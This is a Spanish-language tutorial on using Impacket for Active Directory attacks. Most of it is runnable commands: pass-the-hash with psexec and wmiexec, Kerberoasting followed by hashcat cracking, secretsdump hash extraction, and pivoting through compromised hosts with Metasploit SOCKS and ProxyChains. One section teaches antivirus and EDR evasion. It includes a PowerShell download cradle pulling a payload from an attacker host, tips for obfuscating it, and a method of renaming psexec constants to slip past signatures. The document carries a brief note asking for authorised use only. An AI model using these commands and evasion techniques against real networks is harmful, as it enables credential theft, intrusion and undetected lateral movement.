Impacket: Herramientas de Hacking en Español
Impacket: Herramientas de Hacking en Español
Impacket es una colección de clases de Python diseñadas para trabajar con protocolos de red (como SMB, MSRPC, Kerberos, etc.). En el mundo del hacking ético y Kali Linux, los scripts de Impacket son herramientas fundamentales para el movimiento lateral y la escalación de privilegios.
Aquí tienes un desglose de los scripts más importantes y para qué sirven:
1. Ejecución Remota de Comandos
Estos son los más utilizados cuando ya tienes credenciales (usuario y contraseña o hash) y quieres tomar control del sistema.
psexec.py: Emula la herramienta PsExec de Sysinternals. Crea un servicio remoto para darte una shell con privilegios de
SYSTEM.wmiexec.py: Una alternativa más sigilosa que usa WMI (Windows Management Instrumentation) para ejecutar comandos. No deja tantos rastros como psexec.
smbexec.py: Similar a psexec, pero permite ejecutar comandos a través de la creación de servicios nativos de Windows de forma rápida.
2. Ataques a Active Directory y Kerberos
Impacket brilla especialmente en entornos de dominio.
GetNPUsers.py: Realiza un ataque de AS-REP Roasting. Busca usuarios que no requieren pre-autenticación de Kerberos para intentar obtener sus hashes y crackearlos offline.
GetUserSPNs.py: Ejecuta el famoso ataque Kerberoasting. Busca Service Principal Names (SPNs) asociados a cuentas de usuario para extraer tickets que pueden ser crackeados.
secretsdump.py: Probablemente el más potente. Permite extraer hashes de contraseñas (SAM, LSA secrets, NTDS.dit) de forma remota sin ejecutar agentes en el objetivo.
3. Intercepción y Relevo (Relay)
ntlmrelayx.py: Se usa para interceptar peticiones NTLM en la red y "retransmitirlas" a otro servidor para ganar acceso o ejecutar comandos sin conocer la contraseña.
responder.py (Nota: Aunque a menudo se usa con Impacket, es una herramienta aparte, pero Impacket tiene scripts como
smbserver.pyque complementan estas tareas).
Cómo usarlos en Kali Linux
En las versiones actuales de Kali, puedes llamar a estos scripts directamente desde la terminal añadiendo el prefijo impacket-.
Ejemplo de sintaxis básica:
impacket-psexec dominio/usuario:password@IP_OBJETIVO
Si prefieres usar los hashes en lugar de la contraseña (ataque Pass-the-Hash):
impacket-psexec dominio/usuario@IP_OBJETIVO -hashes :NTHASH
Tabla de Referencia Rápida
| Script | Función Principal | Protocolo |
| secretsdump.py | Volcado de hashes (SAM/NTDS) | SMB/RPC |
| wmiexec.py | Shell interactiva (Semi-interactiva) | WMI |
| GetNPUsers.py | AS-REP Roasting | Kerberos |
| GetUserSPNs.py | Kerberoasting | Kerberos |
| lookupsid.py | Enumerar usuarios vía SID | SMB/RPC |
Nota de seguridad: Estas herramientas son extremadamente potentes. Úsalas siempre en entornos controlados o bajo autorización explícita (Pentesting ético).
1. Pass-the-Hash (PtH) con wmiexec.py
El Pass-the-Hash es una técnica que te permite autenticarte en un servidor remoto utilizando el hash NTLM del usuario en lugar de su contraseña en texto plano. Es extremadamente útil si has logrado volcar hashes de una memoria (con Mimikatz) o de un registro (con secretsdump.py).
Escenario:
Tienes el hash NT de un administrador pero no sabes su contraseña.
Usuario:
AdministratorHash NT:
aad3b435b51404eeaad3b435b51404ee:5fbc3d5f36e9683057e6067089906660(El formato esLM:NT).
Comando en Kali:
impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5f36e9683057e6067089906660 Administrator@10.10.10.15
¿Por qué usar wmiexec? A diferencia de
psexec, no sube un ejecutable al sistema objetivo, lo que lo hace mucho más difícil de detectar por antivirus.
2. Kerberoasting con GetUserSPNs.py
El Kerberoasting consiste en solicitar un ticket de servicio (TGS) para una cuenta de usuario que tiene un SPN (Service Principal Name) asociado. El ticket está cifrado con el hash de la contraseña de ese usuario; por lo tanto, puedes intentar romperlo por fuerza bruta en tu propia máquina.
Paso 1: Enumerar y extraer el ticket
Necesitas las credenciales de cualquier usuario del dominio (incluso uno sin privilegios).
impacket-GetUserSPNs -dc-ip 10.10.10.100 dominio.local/usuario_bajo_priv:password -request
-dc-ip: La IP del Controlador de Dominio.-request: Indica que quieres descargar los tickets TGS para crackearlos.
Paso 2: Crackear el hash
Si el comando anterior tuvo éxito, verás un bloque de texto que empieza por $krb5tgs$. Guárdalo en un archivo (ej: hashes.txt) y usa Hashcat o John the Ripper:
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
3. El "Combo Ganador": secretsdump.py
Si ya tienes acceso de administrador a una máquina, este script es el estándar de oro para extraer todos los hashes de la base de datos local (SAM) o del dominio (NTDS.dit).
Comando:
impacket-secretsdump dominio.local/admin_user:password@10.10.10.100
Esto te devolverá una lista limpia de todos los usuarios y sus hashes, listos para ser usados en un ataque de Pass-the-Hash posterior.
Resumen de Diferencias
| Ataque | ¿Qué necesitas? | ¿Qué obtienes? |
| Pass-the-Hash | El Hash NT del usuario. | Una Shell remota (acceso total). |
| Kerberoasting | Usuario común del dominio. | El hash de una cuenta de servicio para crackear offline. |
Evadir el antivirus (AV) y el EDR (Endpoint Detection and Response) es el "juego del gato y el ratón". Herramientas como psexec.py son detectadas casi instantáneamente porque su comportamiento es muy ruidoso: suben un ejecutable al disco y crean un servicio.
Aquí tienes las estrategias principales para ser más sigiloso usando Impacket y técnicas complementarias:
1. Prioriza wmiexec.py sobre psexec.py
Como mencionamos antes, psexec.py escribe un archivo .exe en C:\Windows. Esto es una alerta roja para cualquier antivirus moderno.
Por qué
wmiexec.pyes mejor: No escribe archivos en el disco. Ejecuta comandos a través de WMI, que es un componente legítimo de administración de Windows.El riesgo: Aunque no escribe en disco, genera procesos
cmd.exeopowershell.execomo hijos dewmiprvse.exe. Los EDR modernos vigilan estos "padres e hijos" sospechosos.
2. Ejecución "Sin Archivos" (Fileless) con smbexec.py
Si necesitas una alternativa, smbexec.py no sube un binario. En su lugar, crea un servicio nativo temporal que ejecuta un comando de una sola línea:
impacket-smbexec dominio/usuario:password@IP
Sin embargo, sigue dejando rastro en los Logs de Eventos de Windows (ID 7045: Creación de un nuevo servicio).
3. Ofuscación de Comandos
Si vas a ejecutar un comando a través de Impacket (por ejemplo, para descargar un script de post-explotación), el AV escaneará la línea de comandos.
En lugar de:
IEX (New-Object Net.WebClient).DownloadString('http://ataca.com/payload.ps1')
Usa técnicas de ofuscación:
Base64: Pasa el comando codificado a PowerShell con
-EncodedCommand.Fragmentación: Divide las palabras clave (
"Net." + "WebClient").Variables de entorno: Usa
%COMSPEC%en lugar decmd.exe.
4. Uso de Proxies (SOCKS)
Muchos AV/EDR monitorizan conexiones directas sospechosas desde IPs externas hacia procesos sensibles. Si usas ProxyChains junto con Impacket, puedes hacer que el tráfico parezca provenir de una máquina interna legítima en la que ya tengas control, "mezclándote" con el tráfico normal de la red.
5. Modificar los scripts de Impacket (Nivel Avanzado)
Las firmas de los antivirus a menudo buscan cadenas de texto específicas dentro de los scripts de Impacket (como el nombre del servicio que crea psexec).
Cambia las constantes: Abre el script
psexec.pyy busca variables comoSERVICE_NAMEo el nombre del ejecutable que genera. Cambiarlos por nombres legítimos (ej.SvcHost_Update) puede ayudar a saltar firmas estáticas simples.
6. Ataques de "Relay" en lugar de Directos
En lugar de atacar una máquina e intentar loguearte (lo cual genera logs de login), usa ntlmrelayx.py.
Si logras que una máquina víctima intente autenticarse contra ti (vía LLMNR/NBNS spoofing), puedes retransmitir esa sesión a otro servidor. Al ser una sesión "legítima" que fluye por la red, el AV del destino a menudo no sospecha tanto como de un intento de login forzado.
Resumen de Sigilo
| Herramienta | Nivel de Ruido | Rastro Principal |
psexec.py | 🔴 Muy Alto | Archivo .exe en disco y servicio nuevo. |
smbexec.py | 🟡 Medio | Logs de eventos (Creación de servicio). |
wmiexec.py | 🟢 Bajo | Procesos hijos sospechosos en memoria. |
secretsdump.py | 🟡 Medio | Acceso a memoria LSASS o archivos del registro. |
El uso de ProxyChains junto con las herramientas de Impacket es una técnica de nivel profesional. Te permite "tunelizar" tu tráfico a través de una o más máquinas que ya hayas comprometido, haciendo que el ataque final parezca provenir de una IP interna legítima y no de tu máquina de Kali.
Aquí tienes la guía paso a paso para configurar este escenario.
1. El Concepto: Pivotaje
Imagina que has comprometido una máquina Windows (Víctima A) y quieres usar Impacket para atacar al Controlador de Dominio (Víctima B), pero el DC tiene un firewall que solo acepta conexiones desde la red interna.
Creas un túnel SOCKS en la Víctima A.
Configuras ProxyChains en tu Kali para que pase todo por ese túnel.
Ejecutas
impacket-wmiexecy el tráfico viajará: Kali -> Víctima A -> Víctima B.
2. Configuración del Túnel (SOCKS Proxy)
Antes de usar ProxyChains, necesitas el "puente". Lo más común es usar Chisel o un agente de Metasploit/Cobalt Strike.
Si usas Metasploit tras ganar una sesión Meterpreter en la Víctima A:
# Dentro de msfconsole
meterpreter > run autoroute -s 192.168.1.0/24 # Ruta a la red interna
meterpreter > use auxiliary/server/socks_proxy
meterpreter > set VERSION 4a
meterpreter > set SRVPORT 1080
meterpreter > run -j
Esto levanta un proxy SOCKS en tu Kali en el puerto 1080.
3. Configuración de ProxyChains
Ahora debes decirle a tu sistema dónde está ese proxy.
Edita el archivo de configuración:
sudo nano /etc/proxychains4.confVe al final del archivo y asegúrate de que apunte a tu proxy (comenta cualquier otra línea en
ProxyList):Plaintext[ProxyList] # Tipo IP Puerto socks4 127.0.0.1 1080(Opcional) Activa
quiet_modeen el archivo para que no te llene la pantalla con logs de conexiones.
4. Ejecución del ataque con Impacket
Aquí es donde ocurre la magia. Solo tienes que anteponer la palabra proxychains4 a tu comando de Impacket.
Ejemplo de WMIExec a través del túnel:
proxychains4 impacket-wmiexec -no-pass -k DOMINIO/Usuario@192.168.1.10
Reglas de Oro para Impacket + ProxyChains:
Usa IPs, no nombres: A menos que hayas configurado la resolución DNS en el proxy, es mejor usar la IP directa de la Víctima B.
Desactiva el chequeo de resolución: En
/etc/proxychains4.conf, asegúrate de queproxy_dnsesté comentado si tienes problemas de conexión.Parámetros de autenticación: Si usas Kerberos (
-k), recuerda que el ticket debe ser válido y estar en tu variable de entornoKRB5CCNAME.
5. ¿Por qué esto evade al AV/EDR?
Origen Confiable: Para el EDR de la Víctima B, la conexión SMB/RPC viene de la IP de la Víctima A (un servidor o PC de la misma empresa), no de una IP desconocida.
Firewall Bypass: Te permite saltar reglas de segmentación de red que bloquean el acceso directo desde el exterior.
Análisis de Comportamiento: Al moverte lateralmente "de vecino a vecino", el tráfico se mezcla con el ruido administrativo normal de la red.
Un detalle crítico: El parámetro -no-pass
Cuando usas ProxyChains, a veces la interactividad falla. Usar tickets de Kerberos (-k) o hashes (-hashes) suele ser más estable a través de túneles que escribir la contraseña en tiempo real.